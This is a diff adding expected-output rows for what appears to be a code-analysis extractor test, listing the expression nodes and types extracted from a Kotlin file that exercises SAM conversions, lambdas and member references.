+| samConversion.kt:2:33:2:38 | ... % ... | samConversion.kt:2:31:2:45 | invoke | RemExpr |
+| samConversion.kt:2:33:2:43 | ... (value equals) ... | samConversion.kt:2:31:2:45 | invoke | ValueEQExpr |
+| samConversion.kt:2:38:2:38 | 2 | samConversion.kt:2:31:2:45 | invoke | IntegerLiteral |
+| samConversion.kt:2:43:2:43 | 0 | samConversion.kt:2:31:2:45 | invoke | IntegerLiteral |
+| samConversion.kt:4:5:4:42 | i0 | samConversion.kt:1:1:14:1 | main | LocalVariableDeclExpr |
+| samConversion.kt:4:14:4:42 | (...)... | samConversion.kt:1:1:14:1 | main | CastExpr |
+| samConversion.kt:4:14:4:42 | ...=... | samConversion.kt:4:14:4:42 |  | AssignExpr |
+| samConversion.kt:4:14:4:42 | <fn> | samConversion.kt:4:14:4:42 |  | VarAccess |
+| samConversion.kt:4:14:4:42 | <fn> | samConversion.kt:4:14:4:42 | fn1 | VarAccess |
+| samConversion.kt:4:14:4:42 | Function2<Integer,Integer,Unit> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:14:4:42 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:14:4:42 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:14:4:42 | InterfaceFn1 | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:4:14:4:42 | InterfaceFn1 | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:4:14:4:42 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:14:4:42 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:14:4:42 | i | samConversion.kt:4:14:4:42 | fn1 | VarAccess |
+| samConversion.kt:4:14:4:42 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:14:4:42 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:14:4:42 | invoke(...) | samConversion.kt:4:14:4:42 | fn1 | MethodAccess |
+| samConversion.kt:4:14:4:42 | j | samConversion.kt:4:14:4:42 | fn1 | VarAccess |
+| samConversion.kt:4:14:4:42 | new (...) | samConversion.kt:1:1:14:1 | main | ClassInstanceExpr |
+| samConversion.kt:4:14:4:42 | this | samConversion.kt:4:14:4:42 |  | ThisAccess |
+| samConversion.kt:4:14:4:42 | this.<fn> | samConversion.kt:4:14:4:42 |  | VarAccess |
+| samConversion.kt:4:27:4:42 | ...->... | samConversion.kt:1:1:14:1 | main | LambdaExpr |
+| samConversion.kt:4:27:4:42 | Function2<Integer,Integer,Unit> | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:4:27:4:42 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:4:27:4:42 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:4:27:4:42 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:27:4:42 | Unit | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:4:29:4:29 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:32:4:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:4:37:4:40 | INSTANCE | samConversion.kt:4:27:4:42 | invoke | VarAccess |
+| samConversion.kt:5:5:5:32 | i1 | samConversion.kt:1:1:14:1 | main | LocalVariableDeclExpr |
+| samConversion.kt:5:14:5:32 | (...)... | samConversion.kt:1:1:14:1 | main | CastExpr |
+| samConversion.kt:5:14:5:32 | ...=... | samConversion.kt:5:14:5:32 |  | AssignExpr |
+| samConversion.kt:5:14:5:32 | <fn> | samConversion.kt:5:14:5:32 |  | VarAccess |
+| samConversion.kt:5:14:5:32 | <fn> | samConversion.kt:5:14:5:32 | fn1 | VarAccess |
+| samConversion.kt:5:14:5:32 | Function2<Integer,Integer,Unit> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:5:14:5:32 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:5:14:5:32 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:5:14:5:32 | InterfaceFn1 | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:5:14:5:32 | InterfaceFn1 | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:5:14:5:32 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:5:14:5:32 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:5:14:5:32 | i | samConversion.kt:5:14:5:32 | fn1 | VarAccess |
+| samConversion.kt:5:14:5:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:5:14:5:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:5:14:5:32 | invoke(...) | samConversion.kt:5:14:5:32 | fn1 | MethodAccess |
+| samConversion.kt:5:14:5:32 | j | samConversion.kt:5:14:5:32 | fn1 | VarAccess |
+| samConversion.kt:5:14:5:32 | new (...) | samConversion.kt:1:1:14:1 | main | ClassInstanceExpr |
+| samConversion.kt:5:14:5:32 | this | samConversion.kt:5:14:5:32 |  | ThisAccess |
+| samConversion.kt:5:14:5:32 | this.<fn> | samConversion.kt:5:14:5:32 |  | VarAccess |
+| samConversion.kt:5:27:5:31 | ...::... | samConversion.kt:1:1:14:1 | main | MemberRefExpr |
+| samConversion.kt:5:27:5:31 | Function2<Integer,Integer,Unit> | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:5:27:5:31 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:5:27:5:31 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:5:27:5:31 | SamConversionKt | samConversion.kt:5:27:5:31 | invoke | TypeAccess |
+| samConversion.kt:5:27:5:31 | Unit | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:5:27:5:31 | a0 | samConversion.kt:5:27:5:31 | invoke | VarAccess |
+| samConversion.kt:5:27:5:31 | a1 | samConversion.kt:5:27:5:31 | invoke | VarAccess |
+| samConversion.kt:5:27:5:31 | fn2(...) | samConversion.kt:5:27:5:31 | invoke | MethodAccess |
+| samConversion.kt:7:5:7:46 | i | samConversion.kt:1:1:14:1 | main | LocalVariableDeclExpr |
+| samConversion.kt:7:13:7:46 | (...)... | samConversion.kt:1:1:14:1 | main | CastExpr |
+| samConversion.kt:7:13:7:46 | ...=... | samConversion.kt:7:13:7:46 |  | AssignExpr |
+| samConversion.kt:7:13:7:46 | <fn> | samConversion.kt:7:13:7:46 |  | VarAccess |
+| samConversion.kt:7:13:7:46 | <fn> | samConversion.kt:7:13:7:46 | ext | VarAccess |
+| samConversion.kt:7:13:7:46 | Boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:13:7:46 | Function2<String,Integer,Boolean> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:13:7:46 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:13:7:46 | InterfaceFnExt1 | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:7:13:7:46 | InterfaceFnExt1 | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:7:13:7:46 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:13:7:46 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:13:7:46 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:13:7:46 | i | samConversion.kt:7:13:7:46 | ext | VarAccess |
+| samConversion.kt:7:13:7:46 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:13:7:46 | invoke(...) | samConversion.kt:7:13:7:46 | ext | MethodAccess |
+| samConversion.kt:7:13:7:46 | new (...) | samConversion.kt:1:1:14:1 | main | ClassInstanceExpr |
+| samConversion.kt:7:13:7:46 | this | samConversion.kt:7:13:7:46 |  | ThisAccess |
+| samConversion.kt:7:13:7:46 | this | samConversion.kt:7:13:7:46 | ext | ExtensionReceiverAccess |
+| samConversion.kt:7:13:7:46 | this.<fn> | samConversion.kt:7:13:7:46 |  | VarAccess |
+| samConversion.kt:7:29:7:46 | ...->... | samConversion.kt:1:1:14:1 | main | LambdaExpr |
+| samConversion.kt:7:29:7:46 | Boolean | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:7:29:7:46 | Function2<String,Integer,Boolean> | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:7:29:7:46 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:7:29:7:46 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:29:7:46 | String | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:7:29:7:46 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:31:7:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:7:36:7:39 | this | samConversion.kt:7:29:7:46 | invoke | ExtensionReceiverAccess |
+| samConversion.kt:7:36:7:45 | ... (value equals) ... | samConversion.kt:7:29:7:46 | invoke | ValueEQExpr |
+| samConversion.kt:7:44:7:45 |  | samConversion.kt:7:29:7:46 | invoke | StringLiteral |
+| samConversion.kt:9:5:13:6 | x | samConversion.kt:1:1:14:1 | main | LocalVariableDeclExpr |
+| samConversion.kt:9:13:13:6 | (...)... | samConversion.kt:1:1:14:1 | main | CastExpr |
+| samConversion.kt:9:13:13:6 | ...=... | samConversion.kt:9:13:13:6 |  | AssignExpr |
+| samConversion.kt:9:13:13:6 | <fn> | samConversion.kt:9:13:13:6 |  | VarAccess |
+| samConversion.kt:9:13:13:6 | <fn> | samConversion.kt:9:13:13:6 | accept | VarAccess |
+| samConversion.kt:9:13:13:6 | Boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:9:13:13:6 | Function1<Integer,Boolean> | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:9:13:13:6 | IntPredicate | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:9:13:13:6 | IntPredicate | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:9:13:13:6 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:9:13:13:6 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:9:13:13:6 | i | samConversion.kt:9:13:13:6 | accept | VarAccess |
+| samConversion.kt:9:13:13:6 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:9:13:13:6 | invoke(...) | samConversion.kt:9:13:13:6 | accept | MethodAccess |
+| samConversion.kt:9:13:13:6 | new (...) | samConversion.kt:1:1:14:1 | main | ClassInstanceExpr |
+| samConversion.kt:9:13:13:6 | this | samConversion.kt:9:13:13:6 |  | ThisAccess |
+| samConversion.kt:9:13:13:6 | this.<fn> | samConversion.kt:9:13:13:6 |  | VarAccess |
+| samConversion.kt:9:26:13:5 | true | samConversion.kt:1:1:14:1 | main | BooleanLiteral |
+| samConversion.kt:9:26:13:5 | when ... | samConversion.kt:1:1:14:1 | main | WhenExpr |
+| samConversion.kt:9:30:9:30 | b | samConversion.kt:1:1:14:1 | main | VarAccess |
+| samConversion.kt:9:33:11:5 | ...->... | samConversion.kt:1:1:14:1 | main | LambdaExpr |
+| samConversion.kt:9:33:11:5 | Boolean | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:9:33:11:5 | Function1<Integer,Boolean> | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:9:33:11:5 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:9:33:11:5 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:10:13:10:13 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:10:18:10:18 | j | samConversion.kt:9:33:11:5 | invoke | VarAccess |
+| samConversion.kt:10:18:10:22 | ... % ... | samConversion.kt:9:33:11:5 | invoke | RemExpr |
+| samConversion.kt:10:18:10:27 | ... (value equals) ... | samConversion.kt:9:33:11:5 | invoke | ValueEQExpr |
+| samConversion.kt:10:22:10:22 | 2 | samConversion.kt:9:33:11:5 | invoke | IntegerLiteral |
+| samConversion.kt:10:27:10:27 | 0 | samConversion.kt:9:33:11:5 | invoke | IntegerLiteral |
+| samConversion.kt:11:12:13:5 | ...->... | samConversion.kt:1:1:14:1 | main | LambdaExpr |
+| samConversion.kt:11:12:13:5 | Boolean | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:11:12:13:5 | Function1<Integer,Boolean> | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:11:12:13:5 | Integer | samConversion.kt:1:1:14:1 | main | TypeAccess |
+| samConversion.kt:11:12:13:5 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:12:13:12:13 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:12:18:12:18 | j | samConversion.kt:11:12:13:5 | invoke | VarAccess |
+| samConversion.kt:12:18:12:22 | ... % ... | samConversion.kt:11:12:13:5 | invoke | RemExpr |
+| samConversion.kt:12:18:12:27 | ... (value equals) ... | samConversion.kt:11:12:13:5 | invoke | ValueEQExpr |
+| samConversion.kt:12:22:12:22 | 2 | samConversion.kt:11:12:13:5 | invoke | IntegerLiteral |
+| samConversion.kt:12:27:12:27 | 1 | samConversion.kt:11:12:13:5 | invoke | IntegerLiteral |
+| samConversion.kt:17:5:17:31 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:17:16:17:21 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:20:1:20:27 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:20:9:20:14 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:20:17:20:22 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:23:5:23:27 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:23:13:23:18 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:23:21:23:26 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:27:5:27:35 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:27:9:27:14 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:27:20:27:25 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:5:33:53 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:16:31:22 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:25:31:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:34:31:40 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:43:31:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:52:31:58 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:61:31:67 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:70:31:76 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:79:31:85 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:88:31:94 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:31:97:31:103 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:16:32:23 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:26:32:33 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:36:32:43 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:46:32:53 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:56:32:63 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:66:32:73 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:76:32:83 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:86:32:93 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:96:32:103 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:32:106:32:113 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:33:16:33:23 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:33:26:33:33 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:33:36:33:43 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:1:38:52 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:8:36:14 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:17:36:23 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:26:36:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:35:36:41 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:44:36:50 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:53:36:59 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:62:36:68 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:71:36:77 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:80:36:86 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:36:89:36:95 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:8:37:15 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:18:37:25 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:28:37:35 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:38:37:45 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:48:37:55 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:58:37:65 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:68:37:75 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:78:37:85 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:88:37:95 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:37:98:37:105 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:38:8:38:15 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:38:18:38:25 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:38:28:38:35 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:38:49:38:52 | true | samConversion.kt:36:1:38:52 | ff | BooleanLiteral |
+| samConversion.kt:40:1:47:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:40:8:40:19 | boolean | file://:0:0:0:0 | <none> | TypeAccess |
+| samConversion.kt:41:5:41:16 | a | samConversion.kt:40:1:47:1 | fn | LocalVariableDeclExpr |
+| samConversion.kt:41:13:41:16 | 0 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 1 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 2 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 3 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 4 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 5 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 6 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 7 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 8 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 9 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 10 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 11 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 12 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 13 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 14 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 15 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 16 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 17 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 18 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 19 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 20 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 21 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | 22 | samConversion.kt:41:13:41:16 | invoke | IntegerLiteral |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | (...)... | samConversion.kt:41:13:41:16 | invoke | CastExpr |
+| samConversion.kt:41:13:41:16 | ...::... | samConversion.kt:40:1:47:1 | fn | MemberRefExpr |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | ...[...] | samConversion.kt:41:13:41:16 | invoke | ArrayAccess |
+| samConversion.kt:41:13:41:16 | Boolean | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:41:13:41:16 | FunctionN<Boolean> | samConversion.kt:40:1:47:1 | fn | TypeAccess |
+| samConversion.kt:41:13:41:16 | SamConversionKt | samConversion.kt:41:13:41:16 | invoke | TypeAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | a0 | samConversion.kt:41:13:41:16 | invoke | VarAccess |
+| samConversion.kt:41:13:41:16 | ff(...) | samConversion.kt:41:13:41:16 | invoke | MethodAccess |
